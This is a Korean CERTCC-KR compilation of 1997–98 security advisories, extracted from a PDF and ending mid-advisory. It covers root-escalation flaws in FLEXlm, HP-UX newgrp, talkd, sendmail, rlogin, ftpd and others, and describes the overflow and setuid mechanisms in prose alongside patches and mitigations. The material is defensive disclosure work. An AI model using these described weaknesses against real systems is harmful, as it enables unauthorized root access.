KA-97-93 Lynx 임시 파일 취약점과 대책

KA-97-94 Lynx 다운로드 취약점과 대책

KA-97-95 AIX piodmgrsu 취약점과 대책

KA-97-96 AIX ftp client 취약점과 대책

KA-97-97 Solaris ftpd/rlogind 취약점과 대책

KA-97-98 sysdef 취약점과 대책

KA-98-01 nosuid 취약점과 대책

KA-98-02 Solaris ifconfig ioctls 취약점과 대책

KA-98-03 HP-UX telnet 서비스거부공격과 대책

Page 781: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-98-04 INN 뉴스서버 취약점과 대책

KA-98-05 NT NtOpenProcessToken 취약점과 대책

KA-98-06 Solaris NIS+ 취약점과 대책

KA-98-07 HP-UX UID/GID 취약점과 대책

KA-98-08 HP-UX Novell Netware 취약점과 대책

KA-98-09 AIX portmir 명령 취약점과 대책

KA-98-10 AIX xdat 명령 취약점과 대책

KA-98-11 CrackLib v2.5 취약점과 대책

KA-98-12 IRIX syserr과 permission 프로그램 취약점과 대책

KA-98-13 HP-UX VVOS xlock 취약점과 대책

KA-98-14 SCO /usr/bin/X11/scoterm 취약점과 대책

KA-98-15 Sun nis_cachemgr 취약점과 대책

KA-98-16 IBM AIX routed 데몬 취약점과 대책

KA-98-17 /[usr/]bin/cue 의 취약점과 대책

KA-98-18 HP-UX land 취약점과 대책

KA-98-19 UNIX elm/filter 취약점과 대책

Page 782: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-01-flexlm

------------------------------------------

최초 발표일 : 97.2.14.

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.01, AUSCERT Advisory AA-96.03

ftp://info.cert.org/pub/cert_advisories/CA-97.01.flex_Im

--제목--------------------------------------

Unix FLEXlm 취약점과 대책

--개요--------------------------------------

다양한 유닉스 플랫폼에서 사용중인 라이센스 관리 패키지인 FLEXlm에 구성상 오류와 데

몬 프로그램의 버그로 인한 보안 취약점이 존재한다. 이 취약점을 이용하는데 필요한 정보

가 이미 널리 공개되어 있어 위험한 상태이다.

--설명--------------------------------------

FLEXlm은 GLOBEtrotter 소프트웨어사에서 공급(이전에는 Highland 소프트웨어사에서 제

공)되는 패키지로서 많은 업체들이 제품의 라이센스를 위해 사용하고 있다.

(1) 업체 제품 설치시의 구성 오류

FLEXlm의 설명서상의 혼동으로 인해 많은 업체들이 FLEXlm을 관리자(root) 사용자의 권

한으로 수행되도록 구성하였다. 이에 따라 일반 사용자들에 의해 허가되지 않은 방법으로

관리자(root) 권한을 획득하는데 사용될 수 있다. GLOBEtrotter 소프트웨어사의 권고에 따

르면, FLEXlm은 관리자(root) 사용자권한으로 수행될 필요가 없다.

(2) FLEXlm 라이센스관리 데몬의 보안 취약점

일부 버전의 FLEXlm 라이센스관리 패키지에서 데몬인 lmgrd에 보안 취약점이 있는것으로

밝혀졌으며, 이 취약점을 이용하면 일반 사용자들이 FLEXlm 라이센스데몬을 수행중인 계

정의 권한을 획득할 수 있게 된다. 이 취약점은 4.0이상 5.0a이하의 버전에 존재하며,

GLOBEtrotter사에서는 이같은 취약점을 수정한 최신 버전을 제공하고 있다.

--영향--------------------------------------

모든 버전의 FLEXlm 라이센스 관리데몬은, 이들이 시스템 계정(예를들어, bin, sys,

daemon 등) 또는 관리자 계정(예를 들어, root)을 이용하여 수행되고 있을 경우, 일반 사용

자가 임의의 파일을 생성하거나 내용을 수정하는 데 사용될 수 있다. 결과적으로 불법적인

관리자(root) 권한을 일반사용자에게 허용할 수 있다.

보안 취약점이 있는 FLEXlm 라이센스 관리패키지에서 데몬을 수행중인 경우, 일반 사용자

들이 FLEXlm 라이센스 데몬을 수행중인 계정의 권한을 획득할 수 있게 된다.

Page 783: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--해결책-------------------------------------

FLEXlm 라이센스 관리 데몬을 특별한 권한을 가지지 않은 계정을 이용하여 수행하도록 구

성한다. 그러나 FLEXlm 라이센스 데몬은, 이를 수행중인 계정의 특권 유무에 관계없이, 실

행에 필요한 파일을 삭제하는 방법에 의한 서비스부인공격의 대상이 될 수 있다. 따라서 모

든 관련 파일의 소유자 및 사용권한을 적절하게 설정하여야 한다. 마지막으로 FLEXlm을

수행시킬 계정의 umask는 022로 설정하여야 한다.

현재 GLOBEtrotter 소프트웨어사에서 패치 버전을 공급하고 있다.

http://www.globetrotter.com/Imgrd.htm

추가적으로 업체들에 의한 패치도 제공되고 있다.

--기타--------------------------------------

자세한 설명은 원본 CERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR-------------------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-01.txt

Page 784: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-02-hpnewgrp

------------------------------------------

최초 발표일 : 97.2.14.

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.02, AUSCERT Advisory AA-96.16

ftp://info.cert.org/pub/cert_advisories/CA-97.02.hp_newgrp

--제목--------------------------------------

HP-UX newgrp 버퍼 오버플로우 대책

--개요--------------------------------------

HP-UX 9.x 및 10.x의 newgrp(1)에 보안 취약점이 존재하며, 이 취약점을 이용하면 일반

사용자가 관리자(root) 권한을 취득할 수 있다.

이 취약점을 이용하는데 필요한 정보가 이미 널리 공개되어 있어 위험한 상태이다.

--설명--------------------------------------

HP-UX의 newgrp(1) 프로그램에 보안상 취약점이 존재한다. newgrp 명령은 사용자의 그

룹 ID를 변경시키기 위해, 사용되며, 기본적으로 설치되는 프로그램이다.

사용자에 의해 주어지는 인수에 대해 한계를 충분히 점검하지 않기 때문에 적절히 선택된

인수를 newgrp에 제공하여 newgrp 프로그램 수행중 프로그램 내부 스택에 다른 내용을

겹쳐쓰므로써 임의의 명령을 수행하게 할 수 있다. 기본적으로 newgrp는 setuid root로 설

정되어 있으므로 침입자는 임의의 명령을 관리자(root) 권한으로 실행시킬 수 있게 된다.

이 취약점은 HP-UX 9.x 및 10.x에 영향을 미친다.

기본적으로, newgrp은 HP-UX 9.x에서는 /bin 디렉토리에, HP-UX 9.x에서는 /usr/bin 디

렉토리에 있다.

--영향--------------------------------------

일반 사용자가 관리자(root) 권한을 취득할 수 있다.

--해결책-------------------------------------

앞서 설명된 취약점을 이용한 피해를 예방하려면 newgrp 프로그램으로부터 setuid 권한을

제거해야 한다. 또한 AUSCERT에서 개발한 newgrp 랩퍼(wrapper)를 사용하여 지정된 제

한 길이 이상의 매개변수를 검사하여 수행을 거부하거나, 로그를 남기게 할 수 있다.

--기타--------------------------------------

자세한 설명은 원본 CERT Advisory를 참조하기 바람.

Page 785: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-02.txt

Page 786: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-03-Csetup

------------------------------------------

최초 발표일 : 1997, 2, 8

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.03

ftp://info.cert.org/pub/cert_advisories/CA-97.03.csetup

--제목--------------------------------------

IRIX csetup 취약점과 대책

--개요--------------------------------------

이 취약성은 일반 사용자가 시스템이 임의의 파일을 생성하거나 겹쳐 쓸 수 있게 하여 결국

관리자(root) 권한을 얻을 수 있도록 한다.

--설명--------------------------------------

csetup은 데스크탑 시스템 관리서브시스템의 부분이다. 이 프로그램은 object server에 표

시되있는 특권 사용자 또는 관리자(root)가 시스템이나 네트워크 구성 매개변수를 변경할

수 있도록 도와주는 GUI를 제공하는 프로그램이다. csetup 프로그램은 특권 사용자로 지정

된 일반 사용자가 중요 시스템 파일들을 변경할 수 있도록 setuid root 되어 있다.

csetup 프로그램은 DEBUG 모드로 수행 시킬 수 있고 이때 이 프로그램은 쓰기 가능한 디

렉토리에 로그 파일을 생성시킨다. 이 로그 파일이 생성될 때 csetup 프로그램은 관리자

(root) 권한으로 실행되기 때문에 일반 사용자가 시스템에 임의의 파일을 생성하거나 겹쳐

쓰는 것이 가능하다.

--영향--------------------------------------

시스템에 계정을 가진 모든 사용자가 시스템에 임의의 파일을 생성하거나 겹쳐쓸수 있다.

따라서 결국 관리자(root) 권한도 얻을 수 있다.

--해결책-------------------------------------

1. csetup 파일에서 setuid 권한을 제거하여 이 취약성에 대한 공격을 막을 수 있다.

2. 패치가 나오는 즉시 설치 한다.

--기타--------------------------------------

자세한 설명은 원본 CERT-Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

Page 787: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-03.txt

Page 788: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-04-Talkd

------------------------------------------

최초발표일 : 1997.2.5

갱신일 및 갱신 내용:

출처 : CERT Advisory CA-97.04

ftp://info.cert.org/pub/cert_advisories/CA-97.04.talkd

--제목--------------------------------------

talkd 버퍼오버플로우 대책

--개요--------------------------------------

talk 명령에 사용되는 talkd 프로그램에 취약성이 발견되었다. 침입자가 특정 DNS 데이터

를 만들어 원격지에서 임의의 명령을 관리자(root) 권한으로 수행시킬 수 있다.

--설명--------------------------------------

talk는 사용자 터미널상의 텍스트를 다른사용자의 터미널로 복사하는 통신프로그램이고

talkd는 다른 사용자의 talk 대화요청을 감지하는 데몬이다. talk연결의 과정에서 talkd 프로

그램은 연결을 요청한 호스트의 이름을 확인하기 위하여 DNS lookup을 실행한다. 이때 되

돌아온 호스트 이름이 저장된 버퍼의 한계를 검사하지 않아 talkd의 내부스택 영역을 겹쳐

쓸 수 있다. 따라서, 침입자는 호스트 이름에 대한 정보를 조작하여 talkd 프로그램이 임의

의 명령을 실행하도록 조작할 수 있으며, talkd 관리자(root) 권한으로 실행되므로 침입자가

수행시킨 명령도 관리자(root)의 권한을 가지고 실행된다. 사용자 시스템이 talk 연결을 허

용하는지 알아 보려면 /etc/inetd.conf를 확인하면 된다.

#grep -i "^[a-z]*talk" /etc/inetd.conf

--영향--------------------------------------

침입자가 원격지에서 관리자(root) 권한으로 임의의 명령을 수행시킬 수 있다. 침입자는 시

스템에 계정을 가지고 있을 필요가 없다.

--해결책-------------------------------------

1. DNS 기반의 공격들

BIND 4.9.4 패치 레벨 1 이상의 버전을 설치.

2. 다른 네트워크 프로그램

다음의 위치에서 올바른 호스트이름/IP-주소 확인을 위한 서브루틴을 구해 호스트이름을

lookup 하는 모든 프로그램에 포함시켜야한다.

ftp://info.cert.org/pub/tools/ValidateHostname/IsValid.c

3. 제조업체로부터 패치 설치

4. talkd 프로그램을 쓰지못하게 한다.(inetd.conf 파일 수정)

Page 789: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--기타--------------------------------------ꡈ자세한 설명은 원문 CERT Advisory를 참조하기 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-04.txt

Page 790: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-05-sendmail MINE

------------------------------------------

최초발표일 : 97.1.28

갱신일 및 갱신 내용:

출처 : CERT Advisory CA-97.05, AUCERT Advisory AA-97.02

- ftp://info.cert.org/pub/

- ftp://ftp.auscert.org.au/pub

--제목--------------------------------------

sendmail MINE 버퍼오버플로우 대책

--개요--------------------------------------

sendmail의 8.8.3 과 8.8.4 버전에 있는 보안상의 취약점으로 인하여 외부사용자가 관리자

(root) 권한을 획득할 수 있다.

--설명--------------------------------------

sendmail 은 email 메시지의 7bit 자료를 8bit MINE으로 변환하는데 이 변환작업시 한계

에 대한 부적절한 검사로 인해 sendmail이 관리자(root)권한으로 수행되는 동안 sendmail

의 내부 공간에 임의의 코드를 덮어 쓸 수가 있다. email의 MINE 변환은 주로 마지막 전달

자, 즉 지역 호스트의 메일박스 또는 프로그램에서 이루어지므로 방화벽이 있더라도 취약성

을 가진다.

--영향--------------------------------------

외부의 사용자가 관리자(root) 권한을 획득할 수 있다.

--해결책-------------------------------------

최신의 sendmail로 업그레이드(Upgrade)한다.

--기타--------------------------------------

자세한 설명은 원문 CERT Advisory를 참조하기 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-05.txt

Page 791: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-06-rloginterm

------------------------------------------

최초발표일 : 1997.2.6

갱신일 및 갱신 내용:

출처 : CERT Advisory CA-97.06

ftp://info.cert.org/pub/cert_advisories/CA-97.06.rlogin-term

--제목--------------------------------------

rlogin 버퍼오버플로우 대책

--개요--------------------------------------

rlogin 프로그램 구현상의 취약성을 이용하여 시스템에 계정을 가진 사용자가 버퍼를 오버

플로우시킴으로 관리자(root) 권한으로 임의의 명령을 실행시킬 수 있다.

--설명--------------------------------------

rlogin 프로그램은 현재의 터미널 정의를 TERM 환경변수로 구별하여 터미널의 정보를 원

격 호스트로 전송한다. 구현된 많은 rlogin 프로그램에서 TERM 환경변수를 내부 버퍼로

복사하는과정에서 오류를 가지고 있어 버퍼 오버플로우를 일으킬 수 있다. 또한, 어떤

rlogin 구현에서는 버퍼를 지역 변수로 설정하여서 서브루틴 호출 스택을 겹쳐 쓸 수 있어

이를 이용하면 임의의 코드를 실행시킬 수도 있다. 더구나 rlogin 프로그램은 0-1023 번의

포트를 할당하기 위하여 관리자(root) 권한이 필요하기 때문에 setuid root되어 있다. 따라

서, rlogin은 setuid 프로그램으로 내부 버퍼를 오버 플로우시켜 임의의 명령을 관리자

(root) 권한으로 실행시킬 수 있는 권한을 가지고 있다.

--영향--------------------------------------

시스템에 계정을 가진 사용자가 관리자(root) 권한을 가질 수 있다.

--해결책-------------------------------------

1. 패치를 구하여 설치한다.

2. 패치를 설치하기 전까지는 다음의 조치중 하나를 선택하여 수정한다.

- rlogin을 쓰지못하도록한다.

- Wrapper로 rlogin 프로그램을 대치

입수처:

ftp://info.cert.org/pub/tools/rlogin_wrapper/rlogin_wrapper.c

--기타--------------------------------------

자세한 설명은 원문 CERT Advisory를 참조하기 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

Page 792: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-06.txt

Page 793: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-07-AIXgethostbyname

------------------------------------------

최초발표일 : 97.1.24

갱신일 및 갱신 내용:

출처 : ERS-SVA-E01-1997:001.1

http://www.ers.ibm.com

--제목--------------------------------------

gethostbyname 버퍼오버플로우 대책

--개요--------------------------------------

IBM AIX 버전 3.2.x, 4.1.x, 4.2.x의 gethostbyname() 라이브러리함수에 보안 취약점이 발

견됨

--설명--------------------------------------

TCP/IP에서 호스트는 32bit 숫자의 주소로 구분된다. 그러나 이 숫자는 기억이 어려우므로

해당 주소에 이름을 부여하며, ‘네임서버’라 불리우는 DNS는 호스트 이름과 주소의 변환을

담당하는 기본적인 데이터베이스이다. 유닉스에서 프로그램이 수행되어 호스트이름을 찾을

때 gethostbyname()이라는 라이브러리 함수가 사용된다. 이 함수는 호스트이름을 매개변수

로 하여 DNS에 접속하여 그 호스트의 주소를 얻는다. IBM AIX 버전 3.2.x, 4.1.x, 4.2.x에

서 제공되는 gethostbyname() 라이브러리함수는 버퍼오버플로우 문제를 가지고 있으며 이

로 인하여 사용자는 프로그램 스택에 임의의 코드를 덮어쓴 뒤 그 코드를 수행시킬 수 있게

된다

--영향--------------------------------------

일반 사용자가 관리자(root) 권한을 얻을 수 있다.

--해결책-------------------------------------

최신의 피치로 업그레이드한다.

http://service.software.ibm.com/aixsupport/

--기타--------------------------------------

자세한 설명은 원문 ERS-ALERT를 참조하기 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 794: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-07.txt

Page 795: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-08-HPAuth

------------------------------------------

최초작성일 : 97.1.10

갱신일 및 갱신 내용:

출처 : CIAC Advisory H-21

http://ciac.llnl.gov/ciac/buletins/h-21.shtml

--제목--------------------------------------

H-21: HP auth, chsh, chfn 취약점과 대책

--개요--------------------------------------

HP-UX 9.x 및 10.x에서 1)newgrp, 2)적절한 인증절차의 우회, 3)password 명령어, 4)HP

GlancePlus, 5)chsh, 6)chfn에 보안취약점이 존재하며, 일반 사용자에게 관리자(root) 권한

을 허용하거나 인증 받지 않은 접근을 허용할 수 있다.

--설명--------------------------------------

취약성에 관계되는 HP-UX버전(HP 9000 시리즈 700/800s)

9.X, 10.X : 1) 3) 4) 5) 6)

10.10, 10.20 : 2)

--영향--------------------------------------

일반 사용자가 관리자(root) 권한을 얻게 된다.

--해결책-------------------------------------

아래 각각의 설명에서 지시하는 패치를 설치한다.

패치한 후 /tmp/update.log (9.X), /var/adm/sw/swinstall.log (10.X)를 확인하여 오류가 없

었는지 검사한다. 패치는 다음의 장소에서 다운로드 받을 수 있다.

http://us.external.hp.com

--항목별 설명-----------------------------------

1)newgrp 취약성

문서번호: [HPSBUX9701-048]

발표일 : [01-08-97]

문제점 : newgrp 명령어에서의 보안 취약점

시스템 : HP-UX 버전 9.X & 10.X (HP 9000 시리즈 700/800s)

피해 : 일반사용자가 관리자(root) 권한을 얻는다.

해결 : 다음의 패치를 적용한다.

Page 796: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

PHCO_9603 : HP-UX 9.X

PHCO_9604 : HP-UX 10.00/10.01

PHCO_9605 : HP-UX 10.10/10.20

2) 적절한 인증절차의 우회를 가능하게 하는 취약성

문서번호: [HPSBUX9701-046]

발표일 : [01-08-97]

문제점 : 적절한 인증절차를 우회할 수 있게 함

시스템 : HP-UX 버전 10.10 & 10.20 (HP 9000 시리즈 700/800s)

피해 : 인증되지 않은 접근이 가능하다.

해결 : 다음의 패치를 적용한다.

PHSS_9690 과 PHSS_8665 : HP-UX 10.10

PHSS_9627 과 PHSS_8667 : HP-UX 10.20

패치의 효과 : CDE.CDE-RUN 파일세트에서 실행할 수 있는 dtlogin과 dtsession을 제거한

다.

3)Password의 취약성

문서번호: [HPSBUX9701-045]

발표일 : [01-08-97]

문제점 : password 명령의 보안 취약점

시스템 : HP-UX 버전 10.10 & 10.20 (HP 9000 시리즈 700/800s)

피해 : 일반사용자가 관리자(root) 권한을 얻는다.

해결 : 다음의 패치를 적용한다.

PHCO_9742 : 시리즈 800 HP-UX 버전 9.0 과 9.04

PHCO_9743 : 시리즈 700 HP-UX 버전 9.01, 9.03, 9.05 & 9.07

PHCO_9640 : 시리즈 700/800 HP-UX 버전 10.00, 10.01, 10.10

PHCO_9641 : 시리즈 700/800 HP-UX 버전 10.20

주의 : 다음의 HP-UX 10.X 버전에서는 libsec 패치를 함께 해야한다.

PHCO_9640 & PHCO_7634 : HP9000 시리즈 700/800 HP-UX 10.10

PHCO_9640 & PHCO_7635 : HP9000 시리즈 700/800 HP-UX 10.00 & 10.01

4) HP GlancePlus 취약성

문서번호: [HPSBUX9701-044]

발표일 : [01-08-97]

문제점 : /usr/perf/bin 또는 /opt/perf/bin에 있는 Glance 프로그램을 통해 일반 사용자가

관리자(root) 레벨의 파일 접근 권한을 얻을 수 있다.

시스템 : HP 9000 시리즈 700/800s

피 해 : 일반사용자로 하여금 관리자(root) 권한을 얻을 수 있게 한다.

Page 797: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해 결 : 9.X 시스템에서는 what /usr/perf/bin/glance 10.X 시스템에서는 what

/opt/perf/bin/glance 의 명령어로써 Glance 프로그램의 버전을 알아내고 다음의 표에 따

라 패치

필요한패치 Glance의 버전 시스템

PHSS_8231 모든버전 HP-UX 9.X(시리즈 700)

PHSS_8232 모든버전 HP-UX 9.X(시리즈 800)

PHSS_8233 모든버전 HP-UX 10.01(시리즈 700/800)

PHSS_9116 B.10.13 HP-UX 10.10(시리즈 700/800)

PHSS_9524 B.10.10 ~ B.10.12 HP-UX 10.10(시리즈 700/800)

PHSS_9117 모든버전 HP-UX 10.20 (시리즈 700/800)

패치를 하기 전까지는 chmod 744 /usr/perf/bin/glance를 실행하여 Glance에의 접근을 루

트로 제한한다.

5) chsh 취약성

문서번호: [HPSBUX9701-050]

발표일 : [01-09-97]

문제점 : chsh 명령에서의 보안 취약점

시스템 : HP-UX 9.X & 10.X (HP 9000 시리즈 700/800s)

피해 : 일반사용자가 관리자(root) 권한을 얻을 수 있다.

해결 : 다음의 패치를 적용한다.

PHCO_9600 : HP-UX 9.X

PHCO_9601 : HP-UX 10.00/10.01/10.10

PHCO_9602 : HP-UX 10.20

주의 : /usr/bin/ chsh가 패치된 후 /bin/chsh 파일을 제거한다.

6) chfn 취약성

문서번호: [HPSBUX9701-049]

발표일 : [01-09-97]

문제점 : chfn 명령에서의 보안 취약점

시스템 : HP-UX 버전 9.X & 10.X (HP 9000 시리즈 700/800s)

피해 : 일반사용자가 관리자(root) 권한을 얻을 수 있다.

해결 : 다음의 패치를 적용

PHCO_9595 : HP-UX 9.X

PHCO_9596 : HP-UX 10.00/10.01/10.10

PHCO_9597 : HP-UX 10.20

--기타--------------------------------------

자세한 내용은 CIAC Advisory H-21을 참조하기 바람

Page 798: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-08.txt

Page 799: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-09-ftpdsignalhandling

------------------------------------------

최초작성일 : 97.2.17

갱신일 및 갱신 내용:

출처 : AUSCERT Advisory AA-9703

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.03.ftpd.signal.handling.vul

--제목--------------------------------------

ftp에서 시그날 제어대책

--개요--------------------------------------

FTPD 프로그램 설계상 문제로 인하여, 특정 명령이 실행될때 잠시 루트의 권한을 가진후

본래의 권한으로 돌아와야 하는데 이를 조작하여 다른 시그날을 가로챌수 있다.

--설명--------------------------------------

이 취약성은 시그날을 제어하는 루틴을 이용하여 프로세서의 권한이 관리자(root)가 될 수

있을때까지 다른 시그날을 잡아낸다. 일반 사용자와 익명의 사용자에게 서비스가 허가된 상

황에서 사용자는 관리자(root)의 권한으로 파일에 접근할 수 있다. ftpd 서버의 설치 형태에

따라 침입자는 서버의 파일들을 읽고 쓸수 있게 한다. 이 공격은 취약성이 있는 ftpd 서버

가 설치된 시스템과 네트워크 연결을 만들 수 있는 침입자만 있으면 공격이 가능하다.

--영향--------------------------------------

계정 소유자 그리고 익명의 사용자는 ftp를 이용할 때 관리자(root)의 권한으로 파일들에 접

근하여 읽고 쓸수 있다.

--해결책-------------------------------------

각각의 벤더에서 제공하는 패치를 설치하거나, 이 취약점이 보강된 기타 ftpd 프로그램을

설치한다.

--기타--------------------------------------

자세한 내용은 AUSCERT Advisory 를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-09.txt

Page 800: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-10-HPvgdisplay

------------------------------------------

최초작성일 : 97.2.7

갱신일 및 갱신 내용: 97.3.7, 패치정보

출처 : AUSCERT Advisory AA-97.04

ftp://ftp.auscert.org.au/pub/advisory/AA-97.04.HP-UX.vgdisplay.buffer.overrun.vul

--제목--------------------------------------

HP-UX vgdisplay 버퍼오버플로우 대책

--개요--------------------------------------

HP-UX 10.x의 vgdisplay에 보안상 취약점이 존재하며, 이 취약점을 이용하면 일반 사용자

가 관리자(root) 권한을 취득할 수 있다.

--설명--------------------------------------

HP-UX Logical Volume Manager(LVM)에 대한 정보를 보여주는 프로그램인

vgdisplay(1M)에 보안상 취약점이 있다. 사용자가 제공하는 변수의 한계를 점검하지 않기

때문에 vgdisplay의 실행중 내부의 스택에 겹쳐 쓸 수 있게 된다. 침입자는 적절한 변수를

vgdisplay 프로그램에 제공함으로서 임의의 명령어를 실행할 수 있다. vgdisplay는 setuid

root 프로그램이기 때문에 침입자는 관리자(root)의 권한으로 임의의 명령을 실행할 수 있

게되는 것이다. 이러한 취약점은 HP-UX 10.x에 영향을 미친다. 많은 LVM 유틸리티 프로

그램들이 vgdisplay(1M)에 하드링크(hardlink)되어있으며, 기본적으로 HP-UX 10.x의

/usr/sbin에는 동적 링크된, /sbin에는 적 링크된 LVM 프로그램들이 있다. 이는 이러한 유

